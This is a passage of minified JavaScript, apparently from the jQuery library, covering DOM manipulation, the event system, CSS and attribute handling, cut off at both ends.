w.css(e,t,"")},s=u(),l=n&&n[3]||(w.cssNumber[t]?"":"px"),c=(w.cssNumber[t]||"px"!==l&&+s)&&ie.exec(w.css(e,t));if(c&&c[3]!==l){s/=2,l=l||c[3],c=+s||1;while(a--)w.style(e,t,c+l),(1-o)*(1-(o=u()/s||.5))<=0&&(a=0),c/=o;c*=2,w.style(e,t,c+l),n=n||[]}return n&&(c=+c||+s||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}var le={};function ce(e){var t,n=e.ownerDocument,r=e.nodeName,i=le[r];return i||(t=n.body.appendChild(n.createElement(r)),i=w.css(t,"display"),t.parentNode.removeChild(t),"none"===i&&(i="block"),le[r]=i,i)}function fe(e,t){for(var n,r,i=[],o=0,a=e.length;o<a;o++)(r=e[o]).style&&(n=r.style.display,t?("none"===n&&(i[o]=K.get(r,"display")||null,i[o]||(r.style.display="")),""===r.style.display&&ae(r)&&(i[o]=ce(r))):"none"!==n&&(i[o]="none",K.set(r,"display",n)));for(o=0;o<a;o++)null!=i[o]&&(e[o].style.display=i[o]);return e}w.fn.extend({show:function(){return fe(this,!0)},hide:function(){return fe(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){ae(this)?w(this).show():w(this).hide()})}});var de=/^(?:checkbox|radio)$/i,pe=/<([a-z][^\/\0>\x20\t\r\n\f]+)/i,he=/^$|^module$|\/(?:java|ecma)script/i,ge={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};ge.optgroup=ge.option,ge.tbody=ge.tfoot=ge.colgroup=ge.caption=ge.thead,ge.th=ge.td;function ve(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&D(e,t)?w.merge([e],n):n}function ye(e,t){for(var n=0,r=e.length;n<r;n++)K.set(e[n],"globalEval",!t||K.get(t[n],"globalEval"))}var me=/<|&#?\w+;/;function be(e,t,n,r,i){for(var o,a,u,s,l,c,f=t.createDocumentFragment(),d=[],p=0,h=e.length;p<h;p++)if((o=e[p])||0===o)if("object"===b(o))w.merge(d,o.nodeType?[o]:o);else if(me.test(o)){a=a||f.appendChild(t.createElement("div")),u=(pe.exec(o)||["",""])[1].toLowerCase(),s=ge[u]||ge._default,a.innerHTML=s[1]+w.htmlPrefilter(o)+s[2],c=s[0];while(c--)a=a.lastChild;w.merge(d,a.childNodes),(a=f.firstChild).textContent=""}else d.push(t.createTextNode(o));f.textContent="",p=0;while(o=d[p++])if(r&&w.inArray(o,r)>-1)i&&i.push(o);else if(l=w.contains(o.ownerDocument,o),a=ve(f.appendChild(o),"script"),l&&ye(a),n){c=0;while(o=a[c++])he.test(o.type||"")&&n.push(o)}return f}!function(){var e=r.createDocumentFragment().appendChild(r.createElement("div")),t=r.createElement("input");t.setAttribute("type","radio"),t.setAttribute("checked","checked"),t.setAttribute("name","t"),e.appendChild(t),h.checkClone=e.cloneNode(!0).cloneNode(!0).lastChild.checked,e.innerHTML="<textarea>x</textarea>",h.noCloneChecked=!!e.cloneNode(!0).lastChild.defaultValue}();var xe=r.documentElement,we=/^key/,Ce=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Te=/^([^.]*)(?:\.(.+)|)/;function Ee(){return!0}function Ne(){return!1}function ke(){try{return r.activeElement}catch(e){}}function Ae(e,t,n,r,i,o){var a,u;if("object"==typeof t){"string"!=typeof n&&(r=r||n,n=void 0);for(u in t)Ae(e,u,n,r,t[u],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=Ne;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return w().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=w.guid++)),e.each(function(){w.event.add(this,t,i,r,n)})}w.event={global:{},add:function(e,t,n,r,i){var o,a,u,s,l,c,f,d,p,h,g,v=K.get(e);if(v){n.handler&&(n=(o=n).handler,i=o.selector),i&&w.find.matchesSelector(xe,i),n.guid||(n.guid=w.guid++),(s=v.events)||(s=v.events={}),(a=v.handle)||(a=v.handle=function(t){return"undefined"!=typeof w&&w.event.triggered!==t.type?w.event.dispatch.apply(e,arguments):void 0}),l=(t=(t||"").match(I)||[""]).length;while(l--)p=g=(u=Te.exec(t[l])||[])[1],h=(u[2]||"").split(".").sort(),p&&(f=w.event.special[p]||{},p=(i?f.delegateType:f.bindType)||p,f=w.event.special[p]||{},c=w.extend({type:p,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&w.expr.match.needsContext.test(i),namespace:h.join(".")},o),(d=s[p])||((d=s[p]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(e,r,h,a)||e.addEventListener&&e.addEventListener(p,a)),f.add&&(f.add.call(e,c),c.handler.guid||(c.handler.guid=n.guid)),i?d.splice(d.delegateCount++,0,c):d.push(c),w.event.global[p]=!0)}},remove:function(e,t,n,r,i){var o,a,u,s,l,c,f,d,p,h,g,v=K.hasData(e)&&K.get(e);if(v&&(s=v.events)){l=(t=(t||"").match(I)||[""]).length;while(l--)if(u=Te.exec(t[l])||[],p=g=u[1],h=(u[2]||"").split(".").sort(),p){f=w.event.special[p]||{},d=s[p=(r?f.delegateType:f.bindType)||p]||[],u=u[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=d.length;while(o--)c=d[o],!i&&g!==c.origType||n&&n.guid!==c.guid||u&&!u.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(d.splice(o,1),c.selector&&d.delegateCount--,f.remove&&f.remove.call(e,c));a&&!d.length&&(f.teardown&&!1!==f.teardown.call(e,h,v.handle)||w.removeEvent(e,p,v.handle),delete s[p])}else for(p in s)w.event.remove(e,p+t[l],n,r,!0);w.isEmptyObject(s)&&K.remove(e,"handle events")}},dispatch:function(e){var t=w.event.fix(e),n,r,i,o,a,u,s=new Array(arguments.length),l=(K.get(this,"events")||{})[t.type]||[],c=w.event.special[t.type]||{};for(s[0]=t,n=1;n<arguments.length;n++)s[n]=arguments[n];if(t.delegateTarget=this,!c.preDispatch||!1!==c.preDispatch.call(this,t)){u=w.event.handlers.call(this,t,l),n=0;while((o=u[n++])&&!t.isPropagationStopped()){t.currentTarget=o.elem,r=0;while((a=o.handlers[r++])&&!t.isImmediatePropagationStopped())t.rnamespace&&!t.rnamespace.test(a.namespace)||(t.handleObj=a,t.data=a.data,void 0!==(i=((w.event.special[a.origType]||{}).handle||a.handler).apply(o.elem,s))&&!1===(t.result=i)&&(t.preventDefault(),t.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,t),t.result}},handlers:function(e,t){var n,r,i,o,a,u=[],s=t.delegateCount,l=e.target;if(s&&l.nodeType&&!("click"===e.type&&e.button>=1))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],a={},n=0;n<s;n++)void 0===a[i=(r=t[n]).selector+" "]&&(a[i]=r.needsContext?w(i,this).index(l)>-1:w.find(i,this,null,[l]).length),a[i]&&o.push(r);o.length&&u.push({elem:l,handlers:o})}return l=this,s<t.length&&u.push({elem:l,handlers:t.slice(s)}),u},addProp:function(e,t){Object.defineProperty(w.Event.prototype,e,{enumerable:!0,configurable:!0,get:g(t)?function(){if(this.originalEvent)return t(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[e]},set:function(t){Object.defineProperty(this,e,{enumerable:!0,configurable:!0,writable:!0,value:t})}})},fix:function(e){return e[w.expando]?e:new w.Event(e)},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==ke()&&this.focus)return this.focus(),!1},delegateType:"focusin"},blur:{trigger:function(){if(this===ke()&&this.blur)return this.blur(),!1},delegateType:"focusout"},click:{trigger:function(){if("checkbox"===this.type&&this.click&&D(this,"input"))return this.click(),!1},_default:function(e){return D(e.target,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},w.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},w.Event=function(e,t){if(!(this instanceof w.Event))return new w.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?Ee:Ne,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&w.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[w.expando]=!0},w.Event.prototype={constructor:w.Event,isDefaultPrevented:Ne,isPropagationStopped:Ne,isImmediatePropagationStopped:Ne,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=Ee,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=Ee,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=Ee,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},w.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(e){var t=e.button;return null==e.which&&we.test(e.type)?null!=e.charCode?e.charCode:e.keyCode:!e.which&&void 0!==t&&Ce.test(e.type)?1&t?1:2&t?3:4&t?2:0:e.which}},w.event.addProp),w.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(e,t){w.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return i&&(i===r||w.contains(r,i))||(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),w.fn.extend({on:function(e,t,n,r){return Ae(this,e,t,n,r)},one:function(e,t,n,r){return Ae(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,w(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return!1!==t&&"function"!=typeof t||(n=t,t=void 0),!1===n&&(n=Ne),this.each(function(){w.event.remove(this,e,n,t)})}});var De=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,Se=/<script|<style|<link/i,Le=/checked\s*(?:[^=]|=\s*.checked.)/i,je=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function qe(e,t){return D(e,"table")&&D(11!==t.nodeType?t:t.firstChild,"tr")?w(e).children("tbody")[0]||e:e}function Oe(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function Pe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function He(e,t){var n,r,i,o,a,u,s,l;if(1===t.nodeType){if(K.hasData(e)&&(o=K.access(e),a=K.set(t,o),l=o.events)){delete a.handle,a.events={};for(i in l)for(n=0,r=l[i].length;n<r;n++)w.event.add(t,i,l[i][n])}J.hasData(e)&&(u=J.access(e),s=w.extend({},u),J.set(t,s))}}function Ie(e,t){var n=t.nodeName.toLowerCase();"input"===n&&de.test(e.type)?t.checked=e.checked:"input"!==n&&"textarea"!==n||(t.defaultValue=e.defaultValue)}function Re(e,t,n,r){t=a.apply([],t);var i,o,u,s,l,c,f=0,d=e.length,p=d-1,v=t[0],y=g(v);if(y||d>1&&"string"==typeof v&&!h.checkClone&&Le.test(v))return e.each(function(i){var o=e.eq(i);y&&(t[0]=v.call(this,i,o.html())),Re(o,t,n,r)});if(d&&(i=be(t,e[0].ownerDocument,!1,e,r),o=i.firstChild,1===i.childNodes.length&&(i=o),o||r)){for(s=(u=w.map(ve(i,"script"),Oe)).length;f<d;f++)l=i,f!==p&&(l=w.clone(l,!0,!0),s&&w.merge(u,ve(l,"script"))),n.call(e[f],l,f);if(s)for(c=u[u.length-1].ownerDocument,w.map(u,Pe),f=0;f<s;f++)l=u[f],he.test(l.type||"")&&!K.access(l,"globalEval")&&w.contains(c,l)&&(l.src&&"module"!==(l.type||"").toLowerCase()?w._evalUrl&&w._evalUrl(l.src):m(l.textContent.replace(je,""),c,l))}return e}function Be(e,t,n){for(var r,i=t?w.filter(t,e):e,o=0;null!=(r=i[o]);o++)n||1!==r.nodeType||w.cleanData(ve(r)),r.parentNode&&(n&&w.contains(r.ownerDocument,r)&&ye(ve(r,"script")),r.parentNode.removeChild(r));return e}w.extend({htmlPrefilter:function(e){return e.replace(De,"<$1></$2>")},clone:function(e,t,n){var r,i,o,a,u=e.cloneNode(!0),s=w.contains(e.ownerDocument,e);if(!(h.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||w.isXMLDoc(e)))for(a=ve(u),r=0,i=(o=ve(e)).length;r<i;r++)Ie(o[r],a[r]);if(t)if(n)for(o=o||ve(e),a=a||ve(u),r=0,i=o.length;r<i;r++)He(o[r],a[r]);else He(e,u);return(a=ve(u,"script")).length>0&&ye(a,!s&&ve(e,"script")),u},cleanData:function(e){for(var t,n,r,i=w.event.special,o=0;void 0!==(n=e[o]);o++)if(Y(n)){if(t=n[K.expando]){if(t.events)for(r in t.events)i[r]?w.event.remove(n,r):w.removeEvent(n,r,t.handle);n[K.expando]=void 0}n[J.expando]&&(n[J.expando]=void 0)}}}),w.fn.extend({detach:function(e){return Be(this,e,!0)},remove:function(e){return Be(this,e)},text:function(e){return _(this,function(e){return void 0===e?w.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return Re(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||qe(this,e).appendChild(e)})},prepend:function(){return Re(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=qe(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(w.cleanData(ve(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return w.clone(this,e,t)})},html:function(e){return _(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!Se.test(e)&&!ge[(pe.exec(e)||["",""])[1].toLowerCase()]){e=w.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(w.cleanData(ve(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=[];return Re(this,arguments,function(t){var n=this.parentNode;w.inArray(this,e)<0&&(w.cleanData(ve(this)),n&&n.replaceChild(t,this))},e)}}),w.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){w.fn[e]=function(e){for(var n,r=[],i=w(e),o=i.length-1,a=0;a<=o;a++)n=a===o?this:this.clone(!0),w(i[a])[t](n),u.apply(r,n.get());return this.pushStack(r)}});var Me=new RegExp("^("+re+")(?!px)[a-z%]+$","i"),We=function(t){var n=t.ownerDocument.defaultView;return n&&n.opener||(n=e),n.getComputedStyle(t)},$e=new RegExp(oe.join("|"),"i");!function(){function t(){if(c){l.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",c.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",xe.appendChild(l).appendChild(c);var t=e.getComputedStyle(c);i="1%"!==t.top,s=12===n(t.marginLeft),c.style.right="60%",u=36===n(t.right),o=36===n(t.width),c.style.position="absolute",a=36===c.offsetWidth||"absolute",xe.removeChild(l),c=null}}function n(e){return Math.round(parseFloat(e))}var i,o,a,u,s,l=r.createElement("div"),c=r.createElement("div");c.style&&(c.style.backgroundClip="content-box",c.cloneNode(!0).style.backgroundClip="",h.clearCloneStyle="content-box"===c.style.backgroundClip,w.extend(h,{boxSizingReliable:function(){return t(),o},pixelBoxStyles:function(){return t(),u},pixelPosition:function(){return t(),i},reliableMarginLeft:function(){return t(),s},scrollboxSize:function(){return t(),a}}))}();function Fe(e,t,n){var r,i,o,a,u=e.style;return(n=n||We(e))&&(""!==(a=n.getPropertyValue(t)||n[t])||w.contains(e.ownerDocument,e)||(a=w.style(e,t)),!h.pixelBoxStyles()&&Me.test(a)&&$e.test(t)&&(r=u.width,i=u.minWidth,o=u.maxWidth,u.minWidth=u.maxWidth=u.width=a,a=n.width,u.width=r,u.minWidth=i,u.maxWidth=o)),void 0!==a?a+"":a}function ze(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}var _e=/^(none|table(?!-c[ea]).+)/,Ue=/^--/,Ve={position:"absolute",visibility:"hidden",display:"block"},Xe={letterSpacing:"0",fontWeight:"400"},Qe=["Webkit","Moz","ms"],Ye=r.createElement("div").style;function Ge(e){if(e in Ye)return e;var t=e[0].toUpperCase()+e.slice(1),n=Qe.length;while(n--)if((e=Qe[n]+t)in Ye)return e}function Ke(e){var t=w.cssProps[e];return t||(t=w.cssProps[e]=Ge(e)||e),t}function Je(e,t,n){var r=ie.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||"px"):t}function Ze(e,t,n,r,i,o){var a="width"===t?1:0,u=0,s=0;if(n===(r?"border":"content"))return 0;for(;a<4;a+=2)"margin"===n&&(s+=w.css(e,n+oe[a],!0,i)),r?("content"===n&&(s-=w.css(e,"padding"+oe[a],!0,i)),"margin"!==n&&(s-=w.css(e,"border"+oe[a]+"Width",!0,i))):(s+=w.css(e,"padding"+oe[a],!0,i),"padding"!==n?s+=w.css(e,"border"+oe[a]+"Width",!0,i):u+=w.css(e,"border"+oe[a]+"Width",!0,i));return!r&&o>=0&&(s+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-s-u-.5))),s}function et(e,t,n){var r=We(e),i=Fe(e,t,r),o="border-box"===w.css(e,"boxSizing",!1,r),a=o;if(Me.test(i)){if(!n)return i;i="auto"}return a=a&&(h.boxSizingReliable()||i===e.style[t]),("auto"===i||!parseFloat(i)&&"inline"===w.css(e,"display",!1,r))&&(i=e["offset"+t[0].toUpperCase()+t.slice(1)],a=!0),(i=parseFloat(i)||0)+Ze(e,t,n||(o?"border":"content"),a,r,i)+"px"}w.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Fe(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,u=Q(t),s=Ue.test(t),l=e.style;if(s||(t=Ke(u)),a=w.cssHooks[t]||w.cssHooks[u],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];"string"==(o=typeof n)&&(i=ie.exec(n))&&i[1]&&(n=se(e,t,i),o="number"),null!=n&&n===n&&("number"===o&&(n+=i&&i[3]||(w.cssNumber[u]?"":"px")),h.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))||(s?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,u=Q(t);return Ue.test(t)||(t=Ke(u)),(a=w.cssHooks[t]||w.cssHooks[u])&&"get"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=Fe(e,t,r)),"normal"===i&&t in Xe&&(i=Xe[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),w.each(["height","width"],function(e,t){w.cssHooks[t]={get:function(e,n,r){if(n)return!_e.test(w.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?et(e,t,r):ue(e,Ve,function(){return et(e,t,r)})},set:function(e,n,r){var i,o=We(e),a="border-box"===w.css(e,"boxSizing",!1,o),u=r&&Ze(e,t,r,a,o);return a&&h.scrollboxSize()===o.position&&(u-=Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-parseFloat(o[t])-Ze(e,t,"border",!1,o)-.5)),u&&(i=ie.exec(n))&&"px"!==(i[3]||"px")&&(e.style[t]=n,n=w.css(e,t)),Je(e,n,u)}}}),w.cssHooks.marginLeft=ze(h.reliableMarginLeft,function(e,t){if(t)return(parseFloat(Fe(e,"marginLeft"))||e.getBoundingClientRect().left-ue(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+"px"}),w.each({margin:"",padding:"",border:"Width"},function(e,t){w.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];r<4;r++)i[e+oe[r]+t]=o[r]||o[r-2]||o[0];return i}},"margin"!==e&&(w.cssHooks[e+t].set=Je)}),w.fn.extend({css:function(e,t){return _(this,function(e,t,n){var r,i,o={},a=0;if(Array.isArray(t)){for(r=We(e),i=t.length;a<i;a++)o[t[a]]=w.css(e,t[a],!1,r);return o}return void 0!==n?w.style(e,t,n):w.css(e,t)},e,t,arguments.length>1)}}),w.fn.delay=function(t,n){return t=w.fx?w.fx.speeds[t]||t:t,n=n||"fx",this.queue(n,function(n,r){var i=e.setTimeout(n,t);r.stop=function(){e.clearTimeout(i)}})},function(){var e=r.createElement("input"),t=r.createElement("select").appendChild(r.createElement("option"));e.type="checkbox",h.checkOn=""!==e.value,h.optSelected=t.selected,(e=r.createElement("input")).value="t",e.type="radio",h.radioValue="t"===e.value}();var tt,nt=w.expr.attrHandle;w.fn.extend({attr:function(e,t){return _(this,w.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){w.removeAttr(this,e)})}}),w.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?w.prop(e,t,n):(1===o&&w.isXMLDoc(e)||(i=w.attrHooks[t.toLowerCase()]||(w.expr.match.bool.test(t)?tt:void 0)),void 0!==n?null===n?void w.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=w.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!h.radioValue&&"radio"===t&&D(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(I);if(i&&1===e.nodeType)while(n=i[r++])e.removeAttribute(n)}}),tt={set:function(e,t,n){return!1===t?w.removeAttr(e,n):e.setAttribute(n,n),n}},w.each(w.expr.match.bool.source.match(/\w+/g),function(e,t){var n=nt[t]||w.find.attr;nt[t]=function(e,t,r){var i,o,a=t.toLowerCase();return r||(o=nt[a],nt[a]=i,i=null!=n(e,t,r)?a:null,nt[a]=o),i}});var rt=/^(?:input|select|textarea|button)$/i,it=/^(?:a|area)$/i;w.fn.extend({prop:function(e,t){return _(this,w.prop,e,t,arguments.length>1)},removeProp:function(e){return this.each(function(){delete this[w.propFix[e]||e]})}}),w.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&w.isXMLDoc(e)||(t=w.propFix[t]||t,i=w.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=w.find.attr(e,"tabindex");return t?parseInt(t,10):rt.test(e.nodeName)||it.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),h.optSelected||(w.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),w.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){w.propFix[this.toLowerCase()]=this});function ot(e){return(e.match(I)||[]).join(" ")}function at(e){return e.getAttribute&&e.getAttribute("class")||""}function ut(e){return Array.isArray(e)?e:"string"==typeof e?e.match(I)||[]:[]}w.fn.extend({addClass:function(e){var t,n,r,i,o,a,u,s=0;if(g(e))return this.each(function(t){w(this).addClass(e.call(this,t,at(this)))});if((t=ut(e)).length)while(n=this[s++])if(i=at(n),r=1===n.nodeType&&" "+ot(i)+" "){a=0;while(o=t[a++])r.indexOf(" "+o+" ")<0&&(r+=o+" ");i!==(u=ot(r))&&n.setAttribute("class",u)}return this},removeClass:function(e){var t,n,r,i,o,a,u,s=0;if(g(e))return this.each(function(t){w(this).removeClass(e.call(this,t,at(this)))});if(!arguments.length)return this.attr("class","");if((t=ut(e)).length)while(n=this[s++])if(i=at(n),r=1===n.nodeType&&" "+ot(i)+" "){a=0;while(o=t[a++])while(r.indexOf(" "+o+" ")>-1)r=r.replace(" "+o+" "," ");i!==(u=ot(r))&&n.setAttribute("class",u)}return this},toggleClass:function(e,t){var n=typeof e,r="string"===n||Array.isArray(e);return"boolean"==typeof t&&r?t?this.addClass(e):this.removeClass(e):g(e)?this.each(function(n){w(this).toggleClass(e.call(this,n,at(this),t),t)}):this.each(function(){var t,i,o,a;if(r){i=0,o=w(this),a=ut(e);while(t=a[i++])o.hasClass(t)?o.removeClass(t):o.addClass(t)}else void 0!==e&&"boolean"!==n||((t=at(this))&&K.set(this,"__className__",t),this.setAttribute&&this.setAttribute("class",t||!1===e?"":K.get(this,"__className__")||""))})},hasClass:function(e){var t,n,r=0;t=" "+e+" ";while(n=this[r++])if(1===n.nodeType&&(" "+ot(at(n))+" ").indexOf(t)>-1)return!0;return!1}});var st=/\r/g;w.fn.extend({val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=g(e),this.each(function(n){var i;1===this.nodeType&&(null==(i=r?e.call(this,n,w(this).val()):e)?i="":"number"==typeof i?i+="":Array.isArray(i)&&(i=w.map(i,function(e){return null==e?"":e+""})),(t=w.valHooks[this.type]||w.valHooks[this.nodeName.toLowerCase()])&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))});if(i)return(t=w.valHooks[i.type]||w.valHooks[i.nodeName.toLowerCase()])&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:"string"==typeof(n=i.value)?n.replace(st,""):null==n?"":n}}}),w.extend({valHooks:{option:{get:function(e){var t=w.find.attr(e,"value");return null!=t?t:ot(w.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a="select-one"===e.type,u=a?null:[],s=a?o+1:i.length;for(r=o<0?s:a?o:0;r<s;r++)if(((n=i[r]).selected||r===o)&&!n.disabled&&(!n.parentNode.disabled||!D(n.parentNode,"optgroup"))){if(t=w(n).val(),a)return t;u.push(t)}return u},set:function(e,t){var n,r,i=e.options,o=w.makeArray(t),a=i.length;while(a--)((r=i[a]).selected=w.inArray(w.valHooks.option.get(r),o)>-1)&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),w.each(["radio","checkbox"],function(){w.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=w.inArray(w(e).val(),t)>-1}},h.checkOn||(w.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})}),h.focusin="onfocusin"in e;var lt=/^(?:focusinfocus|focusoutblur)$/,ct=function(e){e.stopPropagation()};w.extend(w.event,{trigger:function(t,n,i,o){var a,u,s,l,c,d,p,h,y=[i||r],m=f.call(t,"type")?t.type:t,b=f.call(t,"namespace")?t.namespace.split("."):[];if(u=h=s=i=i||r,3!==i.nodeType&&8!==i.nodeType&&!lt.test(m+w.event.triggered)&&(m.indexOf(".")>-1&&(m=(b=m.split(".")).shift(),b.sort()),c=m.indexOf(":")<0&&"on"+m,t=t[w.expando]?t:new w.Event(m,"object"==typeof t&&t),t.isTrigger=o?2:3,t.namespace=b.join("."),t.rnamespace=t.namespace?new RegExp("(^|\\.)"+b.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,t.result=void 